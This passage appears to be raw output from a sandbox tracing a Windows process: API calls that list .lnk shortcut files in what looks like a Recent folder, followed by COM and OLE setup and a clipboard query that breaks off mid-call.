lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3ced6473, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.644] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3ced6473, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.645] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0215.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0215.645] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x297b3c1a, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x297fff8a, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.646] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x157f0d5, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x157f0d5, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x157f0d5, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="0J-gyk47S0jeqIVJP.lnk", cAlternateFileName="0J-GYK~1.LNK")) returned 1 [0215.646] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1bdc94, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0xe1bdc94, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xe1bdc94, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x289, dwReserved0=0x0, dwReserved1=0x0, cFileName="1TH07Wj.lnk", cAlternateFileName="")) returned 1 [0215.646] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2655634e, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2655634e, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2655634e, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x3e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="1yjD (2).lnk", cAlternateFileName="1YJD(2~1.LNK")) returned 1 [0215.647] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1154f1d, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x3774659, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x3774659, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x3e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="1yjD.lnk", cAlternateFileName="")) returned 1 [0215.647] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21df3ec, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x21df3ec, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x21df3ec, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x3e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="2Kq2ndkvi9f.lnk", cAlternateFileName="2KQ2ND~1.LNK")) returned 1 [0215.647] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e49ac4, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x1e49ac4, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x1e49ac4, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="2ObbbR.lnk", cAlternateFileName="")) returned 1 [0215.647] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0e06, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x33e0e06, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x33e0e06, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="3a-yWWlxR.lnk", cAlternateFileName="3A-YWW~1.LNK")) returned 1 [0215.647] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x112cc81, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x112cc81, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x112cc81, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x4ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="3J_NHaQIhy.lnk", cAlternateFileName="3J_NHA~1.LNK")) returned 1 [0215.648] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8ee7c2, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0xfc8ee7c2, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xfc8ee7c2, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0x0, dwReserved1=0x0, cFileName="3Q5TJkz.lnk", cAlternateFileName="")) returned 1 [0215.648] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e51c3, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x53e51c3, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x53e653c, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x3e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="3t1Pd_.lnk", cAlternateFileName="")) returned 1 [0215.648] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23cd20c, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x23cd20c, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x23cd20c, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x419, dwReserved0=0x0, dwReserved1=0x0, cFileName="44IHP3Yd5j8 Cmwn.lnk", cAlternateFileName="44IHP3~1.LNK")) returned 1 [0215.648] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20136d2, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x20136d2, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x20136d2, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x5e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="53bz5.lnk", cAlternateFileName="")) returned 1 [0215.649] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cedde, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x27cedde, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x27cedde, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x40f, dwReserved0=0x0, dwReserved1=0x0, cFileName="5LW6Wz5rd8v3IW.lnk", cAlternateFileName="5LW6WZ~1.LNK")) returned 1 [0215.649] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ada4aa, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2207e0b3, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2207e0b3, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="5RrDV.lnk", cAlternateFileName="")) returned 1 [0215.649] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20d22d8, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x20d22d8, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x20d22d8, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x334, dwReserved0=0x0, dwReserved1=0x0, cFileName="5SDCXJpPVEx.lnk", cAlternateFileName="5SDCXJ~1.LNK")) returned 1 [0215.649] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5280c00, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x5280c00, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x5281f99, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="5_vtE4r5x4QM.lnk", cAlternateFileName="5_VTE4~1.LNK")) returned 1 [0215.649] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22031c74, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x22031c74, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x22031c74, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x4bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="6BvH.lnk", cAlternateFileName="")) returned 1 [0215.650] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebc276, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x1ebc276, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x1ebc276, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x3fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="6RL Hyr1jy.lnk", cAlternateFileName="6RLHYR~1.LNK")) returned 1 [0215.650] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x297b3c1a, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x297b3c1a, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x297b3c1a, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x3dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="7K1jfCi2.lnk", cAlternateFileName="")) returned 1 [0215.650] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f191847, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x1f191847, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x1f191847, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="7ZiBG8DBodQj.lnk", cAlternateFileName="7ZIBG8~1.LNK")) returned 1 [0215.650] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25e3387, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x25e3387, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x25e3387, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x33e, dwReserved0=0x0, dwReserved1=0x0, cFileName="8a3Zl8hhcZ_bQ_zjOXk.flv.lnk", cAlternateFileName="8A3ZL8~1.LNK")) returned 1 [0215.651] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1656031d, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x1656031d, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x1656031d, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x5fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="8MN9GXebS.lnk", cAlternateFileName="8MN9GX~1.LNK")) returned 1 [0215.651] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff88de73, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0xff88de73, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xff8aec69, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x3b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="8ONrfIbcpZ31mGG5.lnk", cAlternateFileName="8ONRFI~1.LNK")) returned 1 [0215.651] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d45cf7, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x28d45cf7, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x28d45cf7, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x3d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="8TWoTVUw.lnk", cAlternateFileName="")) returned 1 [0215.651] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5091f10, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x5091f10, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x50931ff, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x4ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="99tgUy5msN.lnk", cAlternateFileName="99TGUY~1.LNK")) returned 1 [0215.652] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3303adc, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x3303adc, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x3303adc, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x0, dwReserved1=0x0, cFileName="9d1UGwFTur-U.lnk", cAlternateFileName="9D1UGW~1.LNK")) returned 1 [0215.652] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1108ad2, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x1f1b7ac7, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x1f1b7ac7, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x4d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="9Gee2JkDTOLmlSYqtow3.lnk", cAlternateFileName="9GEE2J~1.LNK")) returned 1 [0215.652] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff76a099, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xff76a099, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xff76a099, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="9K5eYu2oTIeDUPaL.lnk", cAlternateFileName="9K5EYU~1.LNK")) returned 1 [0215.652] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3aa886, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0xa3aa886, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xa3aa886, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x40f, dwReserved0=0x0, dwReserved1=0x0, cFileName="9p-ZUEhXml PN.lnk", cAlternateFileName="9P-ZUE~1.LNK")) returned 1 [0215.653] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fcc68, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x50cef0f, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x50d02fe, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="9P_6rEVfGnXnSm82lDn.lnk", cAlternateFileName="9P_6RE~1.LNK")) returned 1 [0215.653] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4633d85, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x4633d85, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x4633d85, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="A3raBYqTCY5preR3iN8B.lnk", cAlternateFileName="A3RABY~1.LNK")) returned 1 [0215.653] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc87c18c, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0x366b079, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x366b079, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x230, dwReserved0=0x0, dwReserved1=0x0, cFileName="A99 rC.lnk", cAlternateFileName="A99RC~1.LNK")) returned 1 [0215.654] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19870e8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x19870e8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x19870e8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x418, dwReserved0=0x0, dwReserved1=0x0, cFileName="AjHNmOmWXtRAXNa4VVob.lnk", cAlternateFileName="AJHNMO~1.LNK")) returned 1 [0215.654] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad1fc938, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0xfc9bc882, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xfc9bc882, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutomaticDestinations", cAlternateFileName="AUTOMA~1")) returned 1 [0215.654] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x326364e, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x326364e, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x326364e, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x3f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bk7t6W0LqmOD.lnk", cAlternateFileName="BK7T6W~1.LNK")) returned 1 [0215.654] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff52dc4c, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0x81a0173, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x81a0173, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0x0, dwReserved1=0x0, cFileName="C-Bk2i6P.lnk", cAlternateFileName="")) returned 1 [0215.655] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb25b533, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0xb25b533, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xb25b533, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="CEgDl.lnk", cAlternateFileName="")) returned 1 [0215.655] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x203231ee, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x203231ee, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x203231ee, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x3d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="cFrK-oXuE.lnk", cAlternateFileName="CFRK-O~1.LNK")) returned 1 [0215.794] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfffbf894, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfffbf894, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfffbf894, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CG4B6dh7K.flv.lnk", cAlternateFileName="CG4B6D~1.LNK")) returned 1 [0215.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0266.339] CoUninitialize () Thread: id = 319 os_tid = 0x1250 [0188.818] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0188.818] RoInitialize () returned 0x1 [0188.818] RoUninitialize () returned 0x0 [0189.265] GetCurrentProcess () returned 0xffffffffffffffff [0189.265] GetCurrentThread () returned 0xfffffffffffffffe [0189.265] GetCurrentProcess () returned 0xffffffffffffffff [0189.265] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1e2df140, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1e2df140*=0xad0) returned 1 [0189.265] GetCurrentThreadId () returned 0x1250 [0189.265] OleInitialize (pvReserved=0x0) returned 0x0 [0189.266] OleGetClipboard (in: ppDataObj=0x1e2df148 | out: ppDataObj=0x1e2df148*=0x1d469640) returned 0x0 [0189.278] IUnknown:QueryInterface (in: This=0x1d469640, 